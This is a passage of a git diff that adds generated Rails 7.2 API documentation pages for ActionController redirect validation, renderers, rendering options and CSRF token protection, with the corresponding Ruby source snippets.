Verifies the passed location is an internal URL that’s safe to redirect to and returns it, or nil if not. Useful to wrap a params provided redirect URL and fall back to an alternate URL to redirect to:

+ +
redirect_to url_from(params[:redirect_url]) || root_url
+
+ +

The location is considered internal, and safe, if it’s on the same host as request.host:

+ +
# If request.host is example.com:
+url_from("https://example.com/profile") # => "https://example.com/profile"
+url_from("http://example.com/profile")  # => "http://example.com/profile"
+url_from("http://evil.com/profile")     # => nil
+
+ +

Subdomains are considered part of the host:

+ +
# If request.host is on https://example.com or https://app.example.com, you'd get:
+url_from("https://dev.example.com/profile") # => nil
+
+ +

NOTE: there’s a similarity with url_for, which generates an internal URL from various options from within the app, e.g. url_for(@post). However, url_from is meant to take an external parameter to verify as in url_from(params[:redirect_url]).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/redirecting.rb, line 202
+    def url_from(location)
+      location = location.presence
+      location if location && _url_host_allowed?(location)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Redirecting/UnsafeRedirectError.html b/src/7.2/classes/ActionController/Redirecting/UnsafeRedirectError.html new file mode 100644 index 0000000000..980e165340 --- /dev/null +++ b/src/7.2/classes/ActionController/Redirecting/UnsafeRedirectError.html @@ -0,0 +1,60 @@ +--- +title: ActionController::Redirecting::UnsafeRedirectError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Renderer.html b/src/7.2/classes/ActionController/Renderer.html new file mode 100644 index 0000000000..65c9f06f64 --- /dev/null +++ b/src/7.2/classes/ActionController/Renderer.html @@ -0,0 +1,423 @@ +--- +title: ActionController::Renderer +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Renderer

+ +

ActionController::Renderer allows you to render arbitrary templates without being inside a controller action.

+ +

You can get a renderer instance by calling renderer on a controller class:

+ +
ApplicationController.renderer
+PostsController.renderer
+
+ +

and render a template by calling the render method:

+ +
ApplicationController.renderer.render template: "posts/show", assigns: { post: Post.first }
+PostsController.renderer.render :show, assigns: { post: Post.first }
+
+ +

As a shortcut, you can also call render directly on the controller class itself:

+ +
ApplicationController.render template: "posts/show", assigns: { post: Post.first }
+PostsController.render :show, assigns: { post: Post.first }
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
DEFAULTS={ +method: "get", +input: "" +}.freeze
RACK_KEY_TRANSLATION={ +http_host: "HTTP_HOST", +https: "HTTPS", +method: "REQUEST_METHOD", +script_name: "SCRIPT_NAME", +input: "rack.input" +}
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + controller
+ + + + +

Class Public methods

+ +
+

+ + for(controller, env = nil, defaults = DEFAULTS) + +

+ + +
+

Creates a new renderer using the given controller class. See ::new.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/renderer.rb, line 64
+    def self.for(controller, env = nil, defaults = DEFAULTS)
+      new(controller, env, defaults)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(controller, env, defaults) + +

+ + +
+

Initializes a new Renderer.

+ +

Parameters

+
  • +

    controller - The controller class to instantiate for rendering.

    +
  • +

    env - The Rack env to use for mocking a request when rendering. Entries can be typical Rack env keys and values, or they can be any of the following, which will be converted appropriately:

    +
    • +

      :http_host - The HTTP host for the incoming request. Converts to Rack’s HTTP_HOST.

      +
    • +

      :https - Boolean indicating whether the incoming request uses HTTPS. Converts to Rack’s HTTPS.

      +
    • +

      :method - The HTTP method for the incoming request, case-insensitive. Converts to Rack’s REQUEST_METHOD.

      +
    • +

      :script_name - The portion of the incoming request’s URL path that corresponds to the application. Converts to Rack’s SCRIPT_NAME.

      +
    • +

      :input - The input stream. Converts to Rack’s rack.input.

      +
    • +

      :http_host - The HTTP host for the incoming request. Converts to Rack’s HTTP_HOST.

      +
    • +

      :https - Boolean indicating whether the incoming request uses HTTPS. Converts to Rack’s HTTPS.

      +
    • +

      :method - The HTTP method for the incoming request, case-insensitive. Converts to Rack’s REQUEST_METHOD.

      +
    • +

      :script_name - The portion of the incoming request’s URL path that corresponds to the application. Converts to Rack’s SCRIPT_NAME.

      +
    • +

      :input - The input stream. Converts to Rack’s rack.input.

      +
    +
  • +

    defaults - Default values for the Rack env. Entries are specified in the same format as env. env will be merged on top of these values. defaults will be retained when calling new on a renderer instance.

    +
+ +

If no http_host is specified, the env HTTP host will be derived from the routes’ default_url_options. In this case, the https boolean and the script_name will also be derived from default_url_options if they were not specified. Additionally, the https boolean will fall back to Rails.application.config.force_ssl if default_url_options does not specify a protocol.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/renderer.rb, line 111
+    def initialize(controller, env, defaults)
+      @controller = controller
+      @defaults = defaults
+      if env.blank? && @defaults == DEFAULTS
+        @env = DEFAULT_ENV
+      else
+        @env = normalize_env(@defaults)
+        @env.merge!(normalize_env(env)) unless env.blank?
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + defaults() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/renderer.rb, line 122
+    def defaults
+      @defaults = @defaults.dup if @defaults.frozen?
+      @defaults
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(env = nil) + +

+ + +
+

Creates a new renderer using the same controller, but with a new Rack env.

+ +
ApplicationController.renderer.new(method: "post")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/renderer.rb, line 72
+    def new(env = nil)
+      self.class.new controller, env, @defaults
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render(*args) + +

+ + +
+

Renders a template to a string, just like ActionController::Rendering#render_to_string.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/renderer.rb, line 129
+    def render(*args)
+      request = ActionDispatch::Request.new(env_for_request)
+      request.routes = controller._routes
+
+      instance = controller.new
+      instance.set_request! request
+      instance.set_response! controller.make_response!(request)
+      instance.render_to_string(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_defaults(defaults) + +

+ + +
+

Creates a new renderer using the same controller, but with the given defaults merged on top of the previous defaults.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/renderer.rb, line 78
+    def with_defaults(defaults)
+      self.class.new controller, @env, @defaults.merge(defaults)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Renderers.html b/src/7.2/classes/ActionController/Renderers.html new file mode 100644 index 0000000000..351a4a96d9 --- /dev/null +++ b/src/7.2/classes/ActionController/Renderers.html @@ -0,0 +1,333 @@ +--- +title: ActionController::Renderers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
RENDERERS=Set.new
 

A Set containing renderer names that correspond to available renderer procs. Default values are :json, :js, :xml.

+ + + + + + +

Class Public methods

+ +
+

+ + _render_with_renderer_method_name(key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 91
+    def self._render_with_renderer_method_name(key)
+      "_render_with_renderer_#{key}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add(key, &block) + +

+ + +
+

Adds a new renderer to call within controller actions. A renderer is invoked by passing its name as an option to AbstractController::Rendering#render. To create a renderer pass it a name and a block. The block takes two arguments, the first is the value paired with its key and the second is the remaining hash of options passed to render.

+ +

Create a csv renderer:

+ +
ActionController::Renderers.add :csv do |obj, options|
+  filename = options[:filename] || 'data'
+  str = obj.respond_to?(:to_csv) ? obj.to_csv : obj.to_s
+  send_data str, type: Mime[:csv],
+    disposition: "attachment; filename=#{filename}.csv"
+end
+
+ +

Note that we used Mime for the csv mime type as it comes with Rails. For a custom renderer, you’ll need to register a mime type with Mime::Type.register.

+ +

To use the csv renderer in a controller action:

+ +
def show
+  @csvable = Csvable.find(params[:id])
+  respond_to do |format|
+    format.html
+    format.csv { render csv: @csvable, filename: @csvable.name }
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 75
+    def self.add(key, &block)
+      define_method(_render_with_renderer_method_name(key), &block)
+      RENDERERS << key.to_sym
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove(key) + +

+ + +
+

This method is the opposite of add method.

+ +

To remove a csv renderer:

+ +
ActionController::Renderers.remove(:csv)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 85
+    def self.remove(key)
+      RENDERERS.delete(key.to_sym)
+      method_name = _render_with_renderer_method_name(key)
+      remove_possible_method(method_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + _render_to_body_with_renderer(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 145
+    def _render_to_body_with_renderer(options)
+      _renderers.each do |name|
+        if options.key?(name)
+          _process_options(options)
+          method_name = Renderers._render_with_renderer_method_name(name)
+          return send(method_name, options.delete(name), options)
+        end
+      end
+      nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_to_body(options) + +

+ + +
+

Called by render in AbstractController::Rendering which sets the return value as the response_body.

+ +

If no renderer is found, super returns control to ActionView::Rendering.render_to_body, if present.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 141
+    def render_to_body(options)
+      _render_to_body_with_renderer(options) || super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Renderers/All.html b/src/7.2/classes/ActionController/Renderers/All.html new file mode 100644 index 0000000000..7ef9484810 --- /dev/null +++ b/src/7.2/classes/ActionController/Renderers/All.html @@ -0,0 +1,74 @@ +--- +title: ActionController::Renderers::All +layout: default +--- +
+ +
+
+ +
+ +

Used in ActionController::Base and ActionController::API to include all renderers by default.

+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Renderers/ClassMethods.html b/src/7.2/classes/ActionController/Renderers/ClassMethods.html new file mode 100644 index 0000000000..f1c8b011c9 --- /dev/null +++ b/src/7.2/classes/ActionController/Renderers/ClassMethods.html @@ -0,0 +1,158 @@ +--- +title: ActionController::Renderers::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + use_renderer(*args) + +

+ + +
+ +
+ + + + + +
+ Alias for: use_renderers +
+ + + + +
+ +
+

+ + use_renderers(*args) + +

+ + +
+

Adds, by name, a renderer or renderers to the _renderers available to call within controller actions.

+ +

It is useful when rendering from an ActionController::Metal controller or otherwise to add an available renderer proc to a specific controller.

+ +

Both ActionController::Base and ActionController::API include ActionController::Renderers::All, making all renderers available in the controller. See Renderers::RENDERERS and Renderers.add.

+ +

Since ActionController::Metal controllers cannot render, the controller must include AbstractController::Rendering, ActionController::Rendering, and ActionController::Renderers, and have at least one renderer.

+ +

Rather than including ActionController::Renderers::All and including all renderers, you may specify which renderers to include by passing the renderer name or names to use_renderers. For example, a controller that includes only the :json renderer (_render_with_renderer_json) might look like:

+ +
class MetalRenderingController < ActionController::Metal
+  include AbstractController::Rendering
+  include ActionController::Rendering
+  include ActionController::Renderers
+
+  use_renderers :json
+
+  def show
+    render json: record
+  end
+end
+
+ +

You must specify a use_renderer, else the controller.renderer and controller._renderers will be nil, and the action will fail.

+
+ + + +
+ Also aliased as: use_renderer +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 129
+      def use_renderers(*args)
+        renderers = _renderers + args
+        self._renderers = renderers.freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Rendering.html b/src/7.2/classes/ActionController/Rendering.html new file mode 100644 index 0000000000..f8bdfc9f7e --- /dev/null +++ b/src/7.2/classes/ActionController/Rendering.html @@ -0,0 +1,318 @@ +--- +title: ActionController::Rendering +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
RENDER_FORMATS_IN_PRIORITY=[:body, :plain, :html]
+ + + + + + + +

Instance Public methods

+ +
+

+ + render(*args) + +

+ + +
+

Renders a template and assigns the result to self.response_body.

+ +

If no rendering mode option is specified, the template will be derived from the first argument.

+ +
render "posts/show"
+# => renders app/views/posts/show.html.erb
+
+# In a PostsController action...
+render :show
+# => renders app/views/posts/show.html.erb
+
+ +

If the first argument responds to render_in, the template will be rendered by calling render_in with the current view context.

+ +
class Greeting
+  def render_in(view_context)
+    view_context.render html: "<h1>Hello, World</h1>"
+  end
+
+  def format
+    :html
+  end
+end
+
+render(Greeting.new)
+# => "<h1>Hello, World</h1>"
+
+render(renderable: Greeting.new)
+# => "<h1>Hello, World</h1>"
+
+ +

Rendering Mode

+
:partial +
+

See ActionView::PartialRenderer for details.

+
+ +
    render partial: "posts/form", locals: { post: Post.new }
+    # => renders app/views/posts/_form.html.erb
+
+
:file +
+

Renders the contents of a file. This option should not be used with unsanitized user input.

+
+ +
    render file: "/path/to/some/file"
+    # => renders /path/to/some/file
+
+
:inline +
+

Renders an ERB template string.

+
+ +
    @name = "World"
+    render inline: "<h1>Hello, <%= @name %>!</h1>"
+    # => renders "<h1>Hello, World!</h1>"
+
+
:body +
+

Renders the provided text, and sets the content type as text/plain.

+
+ +
    render body: "Hello, World!"
+    # => renders "Hello, World!"
+
+
:plain +
+

Renders the provided text, and sets the content type as text/plain.

+
+ +
    render plain: "Hello, World!"
+    # => renders "Hello, World!"
+
+
:html +
+

Renders the provided HTML string, and sets the content type as text/html. If the string is not html_safe?, performs HTML escaping on the string before rendering.

+
+ +
    render html: "<h1>Hello, World!</h1>".html_safe
+    # => renders "<h1>Hello, World!</h1>"
+
+    render html: "<h1>Hello, World!</h1>"
+    # => renders "&lt;h1&gt;Hello, World!&lt;/h1&gt;"
+
+
:json +
+

Renders the provided object as JSON, and sets the content type as application/json. If the object is not a string, it will be converted to JSON by calling to_json.

+
+ +
    render json: { hello: "world" }
+    # => renders "{\"hello\":\"world\"}"
+
+
:renderable +
+

Renders the provided object by calling render_in with the current view context. The response format is determined by calling format on the renderable if it responds to format, falling back to text/html by default.

+
+ +
    render renderable: Greeting.new
+    # => renders "<h1>Hello, World</h1>"
+
+ +

By default, when a rendering mode is specified, no layout template is rendered.

+ +

Options

+
:assigns +
+

Hash of instance variable assignments for the template.

+
+ +
    render inline: "<h1>Hello, <%= @name %>!</h1>", assigns: { name: "World" }
+    # => renders "<h1>Hello, World!</h1>"
+
+
:locals +
+

Hash of local variable assignments for the template.

+
+ +
    render inline: "<h1>Hello, <%= name %>!</h1>", locals: { name: "World" }
+    # => renders "<h1>Hello, World!</h1>"
+
+
:layout +
+

The layout template to render. Can also be false or true to disable or (re)enable the default layout template.

+
+ +
    render "posts/show", layout: "holiday"
+    # => renders app/views/posts/show.html.erb with the app/views/layouts/holiday.html.erb layout
+
+    render "posts/show", layout: false
+    # => renders app/views/posts/show.html.erb with no layout
+
+    render inline: "<h1>Hello, World!</h1>", layout: true
+    # => renders "<h1>Hello, World!</h1>" with the default layout
+
+
:status +
+

The HTTP status code to send with the response. Can be specified as a number or as the status name in Symbol form. Defaults to 200.

+
+ +
    render "posts/new", status: 422
+    # => renders app/views/posts/new.html.erb with HTTP status code 422
+
+    render "posts/new", status: :unprocessable_entity
+    # => renders app/views/posts/new.html.erb with HTTP status code 422
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/rendering.rb, line 165
+    def render(*args)
+      raise ::AbstractController::DoubleRenderError if response_body
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_to_string(*) + +

+ + +
+

Similar to render, but only returns the rendered template as a string, instead of setting self.response_body.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/rendering.rb, line 174
+    def render_to_string(*)
+      result = super
+      if result.respond_to?(:each)
+        string = +""
+        result.each { |r| string << r }
+        string
+      else
+        result
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Rendering/ClassMethods.html b/src/7.2/classes/ActionController/Rendering/ClassMethods.html new file mode 100644 index 0000000000..f9eaf423d7 --- /dev/null +++ b/src/7.2/classes/ActionController/Rendering/ClassMethods.html @@ -0,0 +1,116 @@ +--- +title: ActionController::Rendering::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + renderer

Returns a renderer instance (inherited from ActionController::Renderer) for the controller.

+ + + + + +

Instance Public methods

+ +
+

+ + inherited(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/rendering.rb, line 23
+      def inherited(klass)
+        klass.setup_renderer!
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/RequestForgeryProtection.html b/src/7.2/classes/ActionController/RequestForgeryProtection.html new file mode 100644 index 0000000000..4c635609d6 --- /dev/null +++ b/src/7.2/classes/ActionController/RequestForgeryProtection.html @@ -0,0 +1,1361 @@ +--- +title: ActionController::RequestForgeryProtection +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Request Forgery Protection

+ +

Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks by including a token in the rendered HTML for your application. This token is stored as a random string in the session, to which an attacker does not have access. When a request reaches your application, Rails verifies the received token with the token in the session. All requests are checked except GET requests as these should be idempotent. Keep in mind that all session-oriented requests are CSRF protected by default, including JavaScript and HTML requests.

+ +

Since HTML and JavaScript requests are typically made from the browser, we need to ensure to verify request authenticity for the web browser. We can use session-oriented authentication for these types of requests, by using the protect_from_forgery method in our controllers.

+ +

GET requests are not protected since they don’t have side effects like writing to the database and don’t leak sensitive information. JavaScript requests are an exception: a third-party site can use a <script> tag to reference a JavaScript URL on your site. When your JavaScript response loads on their site, it executes. With carefully crafted JavaScript on their end, sensitive data in your JavaScript response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or Ajax) requests are allowed to make requests for JavaScript responses.

+ +

Subclasses of ActionController::Base are protected by default with the :exception strategy, which raises an ActionController::InvalidAuthenticityToken error on unverified requests.

+ +

APIs may want to disable this behavior since they are typically designed to be state-less: that is, the request API client handles the session instead of Rails. One way to achieve this is to use the :null_session strategy instead, which allows unverified requests to be handled, but with an empty session:

+ +
class ApplicationController < ActionController::Base
+  protect_from_forgery with: :null_session
+end
+
+ +

Note that API only applications don’t include this module or a session middleware by default, and so don’t require CSRF protection to be configured.

+ +

The token parameter is named authenticity_token by default. The name and value of this token must be added to every layout that renders forms by including csrf_meta_tags in the HTML head.

+ +

Learn more about CSRF attacks and securing your application in the Ruby on Rails Security Guide.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + +
AUTHENTICITY_TOKEN_LENGTH=32
CSRF_TOKEN="action_controller.csrf_token"
NULL_ORIGIN_MESSAGE=<<~MSG
+ + + + + + +

Class Public methods

+ +
+

+ + new(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 364
+    def initialize(...)
+      super
+      @_marked_for_same_origin_verification = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + commit_csrf_token(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 374
+    def commit_csrf_token(request) # :doc:
+      csrf_token = request.env[CSRF_TOKEN]
+      csrf_token_storage_strategy.store(request, csrf_token) unless csrf_token.nil?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_csrf_token(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 369
+    def reset_csrf_token(request) # :doc:
+      request.env.delete(CSRF_TOKEN)
+      csrf_token_storage_strategy.reset(request)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + any_authenticity_token_valid?() + +

+ + +
+

Checks if any of the authenticity tokens from the request are valid.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 467
+      def any_authenticity_token_valid? # :doc:
+        request_authenticity_tokens.any? do |token|
+          valid_authenticity_token?(session, token)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compare_with_global_token(token, session = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 548
+      def compare_with_global_token(token, session = nil) # :doc:
+        ActiveSupport::SecurityUtils.fixed_length_secure_compare(token, global_csrf_token(session))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compare_with_real_token(token, session = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 544
+      def compare_with_real_token(token, session = nil) # :doc:
+        ActiveSupport::SecurityUtils.fixed_length_secure_compare(token, real_csrf_token(session))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + csrf_token_hmac(session, identifier) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 585
+      def csrf_token_hmac(session, identifier) # :doc:
+        OpenSSL::HMAC.digest(
+          OpenSSL::Digest::SHA256.new,
+          real_csrf_token(session),
+          identifier
+        )
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + form_authenticity_param() + +

+ + +
+

The form’s authenticity parameter. Override to provide your own.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 605
+      def form_authenticity_param # :doc:
+        params[request_forgery_protection_token]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + form_authenticity_token(form_options: {}) + +

+ + +
+

Creates the authenticity token for the current request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 479
+      def form_authenticity_token(form_options: {}) # :doc:
+        masked_authenticity_token(form_options: form_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + global_csrf_token(session = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 581
+      def global_csrf_token(session = nil) # :doc:
+        csrf_token_hmac(session, GLOBAL_CSRF_TOKEN_IDENTIFIER)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mark_for_same_origin_verification!() + +

+ + +
+

GET requests are checked for cross-origin JavaScript after rendering.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 437
+      def mark_for_same_origin_verification! # :doc:
+        @_marked_for_same_origin_verification = request.get?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + marked_for_same_origin_verification?() + +

+ + +
+

If the verify_authenticity_token before_action ran, verify that JavaScript responses are only served to same-origin GET requests.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 443
+      def marked_for_same_origin_verification? # :doc:
+        @_marked_for_same_origin_verification ||= false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mask_token(raw_token) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 537
+      def mask_token(raw_token) # :doc:
+        one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
+        encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)
+        masked_token = one_time_pad + encrypted_csrf_token
+        encode_csrf_token(masked_token)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + non_xhr_javascript_response?() + +

+ + +
+

Check for cross-origin JavaScript responses.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 448
+      def non_xhr_javascript_response? # :doc:
+        %r(\A(?:text|application)/javascript).match?(media_type) && !request.xhr?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + normalize_action_path(action_path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 635
+      def normalize_action_path(action_path) # :doc:
+        uri = URI.parse(action_path)
+
+        if uri.relative? && (action_path.blank? || !action_path.start_with?("/"))
+          normalize_relative_action_path(uri.path)
+        else
+          uri.path.chomp("/")
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + normalize_relative_action_path(rel_action_path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 645
+      def normalize_relative_action_path(rel_action_path) # :doc:
+        uri = URI.parse(request.path)
+        # add the action path to the request.path
+        uri.path += "/#{rel_action_path}"
+        # relative path with "./path"
+        uri.path.gsub!("/./", "/")
+
+        uri.path.chomp("/")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + per_form_csrf_token(session, action_path, method) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 574
+      def per_form_csrf_token(session, action_path, method) # :doc:
+        csrf_token_hmac(session, [action_path, method.downcase].join("#"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + protect_against_forgery?() + +

+ + +
+

Checks if the controller allows forgery protection.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 610
+      def protect_against_forgery? # :doc:
+        allow_forgery_protection && (!session.respond_to?(:enabled?) || session.enabled?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + real_csrf_token(_session = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 566
+      def real_csrf_token(_session = nil) # :doc:
+        csrf_token = request.env.fetch(CSRF_TOKEN) do
+          request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token
+        end
+
+        decode_csrf_token(csrf_token)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + request_authenticity_tokens() + +

+ + +
+

Possible authenticity tokens sent in the request.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 474
+      def request_authenticity_tokens # :doc:
+        [form_authenticity_param, request.x_csrf_token]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unmask_token(masked_token) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 530
+      def unmask_token(masked_token) # :doc:
+        # Split the token into the one-time pad and the encrypted value and decrypt it.
+        one_time_pad = masked_token[0...AUTHENTICITY_TOKEN_LENGTH]
+        encrypted_csrf_token = masked_token[AUTHENTICITY_TOKEN_LENGTH..-1]
+        xor_byte_strings(one_time_pad, encrypted_csrf_token)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid_authenticity_token?(session, encoded_masked_token) + +

+ + +
+

Checks the client’s masked token to see if it matches the session token. Essentially the inverse of masked_authenticity_token.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/request_forgery_protection.rb, line 500
+      def valid_authenticity_token?(session, encoded_masked_token) # :doc:
+        if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String)
+          return false
+        end
+
+        begin
+          masked_token = decode_csrf_token(encoded_masked_token)
+        rescue ArgumentError # encoded_masked_token is invalid Base64
+          return false
+        end
+
+        # See if it's actually a masked token or not. In order to deploy this code, we
+        # should be able to handle any unmasked tokens that we've issued without error.
+
+        if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
+          # This is actually an unmasked token. This is expected if you have just upgraded
+          # to masked tokens, but should stop happening shortly after installing this gem.
+          compare_with_real_token masked_token
+
+        elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
+          csrf_token = unmask_token(masked_token)
+
+          compare_with_global_token(csrf_token) ||
+            compare_with_real_token(csrf_token) ||
